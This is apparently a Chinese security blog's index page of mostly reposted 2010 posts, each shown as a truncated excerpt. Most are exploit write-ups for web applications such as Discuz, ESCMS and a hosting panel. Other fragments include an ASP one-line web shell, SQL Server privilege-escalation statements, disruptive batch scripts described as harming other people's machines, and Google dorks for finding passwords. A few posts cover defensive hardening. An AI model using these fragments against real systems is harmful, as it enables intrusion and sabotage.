小王的博客_网络安全

system没有net use权限

AT命令默认是用system权限在运行的，所以不要用AT命令来做磁盘映射之类的。可以用schtasks命令来代替AT http://technet.microsoft.com/zh-cn/library/cc772785(WS.10).aspx#BKMK_days

职场

system

休闲

schtasks

net use

转载点赞5 阅读1698 收藏0 评论4 2011-06-08

Wodig4.1.3Access免费版(UTF-8)上传漏洞利用

1.upload/upload_p_w_picpath.asp、Mutiupload_p_w_picpath.asp。从cookie中取得userid，放在session中，作为path。 ASP/Visual Basic代码 1. loadsrc="/UploadFile/"&Request.Cookies("UserID")&"/" '如果网站不是放在跟目录下

职场

休闲

Wodig

转载点赞0 阅读543 收藏0 评论0 2010-04-19

华众6.5虚拟主机管理系统SQL注入漏洞利用

只讲两个要点。第一，如何拿网站管理员权限。第二，如何备份木马。这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！

职场

数据库

休闲

华众6.5

转载点赞0 阅读875 收藏0 评论1 2010-04-19

MSN Editor 0DAY

简单说下利用的方法吧。点击图片上传后会出现上传页面，地址为 http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum= 用普通的图片上传后，地址为 http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=

职场

休闲

0DAY

转载点赞0 阅读554 收藏0 评论0 2010-04-19

Invision Power Board 1.3.1及更低版本SQL注入漏洞

Invision Power Board是一款使用广泛的基于WEB的程序。 Invision Power Board存在输入验证漏洞，远程攻击者可能利用此执行SQL注入攻击。由于没能正确的过滤用户提供的数据，攻击者可能通过在st参数中插入SQL指令在主机上执行SQL注入攻击。受影响系统：Invision PS Invision Board 1.3.1 FinalInvis

职场

数据库

休闲

Invision

转载点赞0 阅读2737 收藏0 评论1 2010-04-19

Discuz插件《虚拟股市》blind Injection注入漏洞利用

漏洞的发现来自于对某站的渗透，由于其discuz版本为7.0，所以我只能把眼光聚焦在了它所安装的第三方插件上。经过简单的测试，就发现了《虚拟股市》存在注射漏洞： http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数 http://www.target.com/plugin.php

职场

休闲

Discuz

转载点赞0 阅读495 收藏0 评论0 2010-04-19

discuz!7.1、7.2远程代码执行漏洞exp

第一种方法：先注册个用户然后把 <form method="post" action=" http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data">帖子ID，指定一个存在的帖子即可：<input type="text" name="tid" value="1" /><in

职场

休闲

discuz!

转载点赞0 阅读2486 收藏0 评论0 2010-04-19

Discuz!7.0-7.2后台settings.inc.php中写shell漏洞

发布时间:2010-02-05 影响版本: Discuz!7.0-7.2漏洞描述: 漏洞详情： if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) { $ucdbpassnew = $se

职场

休闲

Discuz!

转载点赞0 阅读1110 收藏0 评论0 2010-04-19

Baal Systems <= 3.8 (Auth Bypass) 后台万能登入漏洞

漏洞文件：adminlogin.php 代码： <?php include("common.php"); if (!empty($_POST['password'])) { $username = $_POST['username']; $password = $_

职场

休闲

Baal

转载点赞0 阅读795 收藏0 评论0 2010-04-19

phpaaCMS V0.3 存在注射oday漏洞（图）

偶然路过一个php的站，由于自己很少对PHP有研究所以马虎的看了看是phpaaCMS ，不是大型的CMS，习惯性的在后面加了个“'”，没想到爆错了！ You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to

职场

休闲

phpaaCMS

转载点赞0 阅读599 收藏0 评论0 2010-04-19

任意文件当做木马来运行

任意文件当做木马来运行更改exe为gif： @echo off color 1A ECHO Windows Registry Editor Version 5.00>gif.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg ECHO "Content Type"="application/x-msdown

职场

休闲

转载点赞0 阅读307 收藏0 评论0 2010-04-19

Linux系统安全维护

无论你是Linux的普通桌面用户还是管理多个服务器的系统管理员，你都面临着同样的问题：日益增加的各种威胁。Linux是一个开放式系统，可以在网络上找到许多现成的程序和工具，这既方便了用户，也方便了黑客，因为他们也能很容易地找到程序和工具来潜入Linux系统，或者盗取Linux系统上的重要信息。不过，只要我们仔细地设定Linux的各种系统功能，并且加上必要的安全措施，就能让黑客们无机可乘。　　一

Linux

职场

休闲

转载点赞0 阅读582 收藏0 评论0 2010-04-19

一次SA权限入侵和小议SA提权

尝试在NB里面恢复CMDSHELL、OACREAT都没有成功，所以开启SQLSERVERAGENT ;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--还是没有成功，无奈之中希望寄托于沙盒模式，执行如下语句开启沙盒模式 ;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTW

职场

休闲

转载点赞0 阅读802 收藏0 评论0 2010-04-19

一句话木马<%execute request("a")%>的原理

首先知道 execute()函数,是用来执行asp代码的.就是负责执行我们上传的大马,将马交由asp.dll解析.上面的代码<%execute request("a")%>可以这样来解释： <% if request("a")<>"" then execute request("a") %>&

职场

休闲

一句话木马

转载点赞0 阅读1533 收藏0 评论0 2010-04-19

加固Samba安全三则

目前，许多用户因业务发展需要不断更新，从而造成环境差异较大，整个网络系统平台参差不齐，在服务器端大多使用Linux和Unix，桌面端使用Windows xp/Vista，所以在企业应用中往往是Linux/Unix和Windows操作系统共存形成异构网络。Linux中的Samba就是常用于Linux/Windows合组网下的文件服务器，这样Samba服务器的安全问题就凸显出来了。本文从Samba的访

职场

安全

samba

休闲

转载点赞0 阅读1148 收藏0 评论0 2010-04-19

彻底解决ARP欺骗

一、 ARP欺骗的原理在局域网中，同一子网中的两台计算机通信的建立实际上是通过MAC地址来完成的，所以两台计算机通信前必须将IP地址转换MAC地址，这个过程是由ARP协议完成的。如IP为192.168.0.10的计算机A想要和IP为192.168.0.8的计算机B通信，就会向整个网络发送一个广播（ARP REQUEST）大致内容为：“大家好，我的IP是 192.168.0.10,我的

职场

ARP

休闲

转载点赞0 阅读1464 收藏0 评论0 2010-04-19

wifi不可靠无线局域网八大安全困惑

无线局域网被认为是一种不可靠的网络，除了加强网络管理以外，更需要测试设备的构建、实施、维护和管理。　　尽管IT的寒冬还未渡过，但WLAN以其便利的安装、使用，高速的接入速度，可移动的接入方式赢得了众多公司、政府、个人以及电信运营商的青睐。但WLAN中，由于传送的数据是利用无线电波在空中辐射传播，无线电波可以穿透天花板、地板和墙壁，发射的数据可能到达预期之外的、安装在不同楼层、甚至是发射机所在的

职场

wifi

休闲

转载点赞0 阅读575 收藏0 评论0 2010-04-19

Google语法

利用google 半秒破 500 網！利用google 半秒破 500 網！其實 google 搜尋器變了駭客工具也不是新聞，老手早亦用到，新手的也可來試試。只要將以下字串作搜尋的話，你都得到很多密碼，當然若要得心應手便需要更多研究及借助其他軟件，但初步先懂得去找。 ------------------------------------------------------------

职场

Google

休闲

转载点赞0 阅读5048 收藏0 评论0 2010-04-19

利用google对特定站点进行测试的实现

利用google照样可以对一个站点进行信息收集和渗透的，下面我们用google对特定站点进行一次测试。 ------------------------------------------------首先用google先看这个站点的一些基本情况(一些细节部分就略去了): site:xxxx.com 从返回的信息中，找到几个该校的几个系院的域名： http//a1.xxxx.comhttp//a2.

职场

google

休闲

转载点赞0 阅读869 收藏0 评论0 2010-04-19

渗透域结构网络

如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像●net group "domain admins" /domain●可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，代

职场

休闲

域结构

转载点赞0 阅读601 收藏0 评论0 2010-04-19

关于腾讯分站被黑的过程

最近腾讯分站被“黑”的消息有蛮人多关注的，某带头大哥就叫我写了篇贴子说说相关的过程是怎样的,进入正题! 大家都想像得到要黑腾讯这类大站找个明显的漏洞(包括注入)是很难的了，就算注入出密码肯定也加密了，解开了都不一定能找到后台拿shell，必境人家也是有相关的安全部门维护着！上传？除了后台

职场

休闲

腾讯分站

转载点赞0 阅读592 收藏0 评论0 2010-04-19

如何构建适合自己的GHOST映象

GHOST是一个硬盘拷贝软件，它的原理就是将整个硬盘或者某些分区作映像保存，也可以将文件还原到硬盘上，恢复到硬盘前的状态。它具有安全、快速、保密性强、压缩率高、兼容性好等特点,特别适合电脑新手和担心操作麻烦的人使用。应用GHOST最核心的问题就是保证自己的硬盘映像是无毒的，最优化的且最适合自己的，如何才能做到这点呢？下面的介绍帮您解决这个问题。1．在我们接手一台新电脑后，首先要找一张干

职场

GHOST

休闲

转载点赞0 阅读562 收藏0 评论0 2010-04-19

各种入侵批处理

收集：X.DW's blog链接：http://hi.baidu.com/hkxdw第一个:让别人内存OVER(逼他重启)@echo offstart cmd%0 就这3行了第二个:让对方重启指定次数(害人专用)@echo offif not exist c:\1.txt echo. >c:\1.txt & goto err1if not exist c:\2.txt echo

职场

入侵

休闲

转载点赞0 阅读641 收藏0 评论0 2010-04-19

ESCMS cookies欺骗0day

版本:ESCMS V1.0 SP1 Build 1125 后台登陆验证是通过admin/check.asp实现的,看代码 <% if Request.cookies(CookiesKey)("ES_admin")="" then ''注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不

职场

休闲

0day

转载点赞0 阅读505 收藏0 评论0 2010-04-19

迅雷提权方法

当我们使用迅雷下载东西的时候，会调用我们安装迅雷后一个htm文件，去激活htm文件里的一些代码，把我们所下载东西添加到列表当中。所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm 一处是C:\Program Files\Thunder Network\Thunder\Program\getAllur

职场

提权

休闲

转载点赞0 阅读823 收藏0 评论0 2010-04-19

转个大牛对Rownum的讲解

ownum 真的是很好的东西，现在大多数用于存储过程分页. 但怎么用呢？这就来研究一下。 --- 以下为转载之处，仅供学习对于rownum来说它是 oracle系统顺序分配为从查询返回的行的编号，返回的第一行分配的是1，第二行是2，依此类推，这个伪字段可以用于限制查询返回的总行数，而且 rownum不能以任何表的名称作为前缀。举例说明：例如表：student(学生)表，表结构为：ID　　　&

职场

休闲

Rownum

转载点赞0 阅读313 收藏0 评论0 2010-04-19

渗透国内知名公司内部局域网经过

本文的目标是一国内知名公司的网络，本文图片、文字都经过处理，均为伪造，如有雷同，纯属巧合。最近一个网友要我帮他拿他们公司内网一项重要的文件，公司网络信息朋友都mail给我了，这些信息主要是几张网络拓扑图以及在内网嗅探到的信息（包括朋友所在的子网的设备用户名及密码等信息……）。参照以上信息总体整理了一下入侵的思路，如果在朋友机器安装木马，从内部连接我得到一个CMD Shell，须要精心伪装一些信息还

职场

休闲

转载点赞0 阅读699 收藏0 评论1 2010-04-19

MBSA——网管的安全助手

Windows服务器管理员们一直在关注系统安全和补丁更新的问题，如何更合理的安装补丁也是系统维护的重要组成部分，本文就介绍一个微软的官方安全工具，无论个人还是网管都可以使用它来更好的检测系统存在的漏洞和安全隐患。MBSA主要功能作为一名Windows服务器网管，不可避免的需要对操作系统软件进行安全性维护，但是现代软件系统特别是系统软件的复杂程度远远超出了一般网络维护人员的知识范畴。因此为了能够让W

职场

MBSA

休闲

转载点赞0 阅读688 收藏0 评论0 2010-04-19

ewebeditor for php任意文件上传漏洞

职场

ewebeditor

休闲

转载点赞0 阅读1297 收藏0 评论0 2010-04-19

计算机检查漏洞方法和相应处理

近来黑客攻击事件频频发生，我们身边的朋友可能有qq、E-mail和游戏账号被盗事件发生。现在的黑客技术有朝着大众化方向发展的趋势，能够掌握攻击他人系统技术的人越来越多了，只要你的电脑稍微有点系统Bug或者安装了有问题的应用程序，就有可能成为他人的肉鸡。如何给一台上网的机器查漏洞并做出相应的处理呢? 　　一、要命的端口　　计算机要与外界进行通信，必须通过一些端口。别人要想入侵和控制我们的电脑，

职场

漏洞

休闲

转载点赞0 阅读445 收藏0 评论0 2010-04-19

官方博客	意见反馈	了解我们	全部文章
在线客服	网站地图	热门标签

51CTO博客

网管小王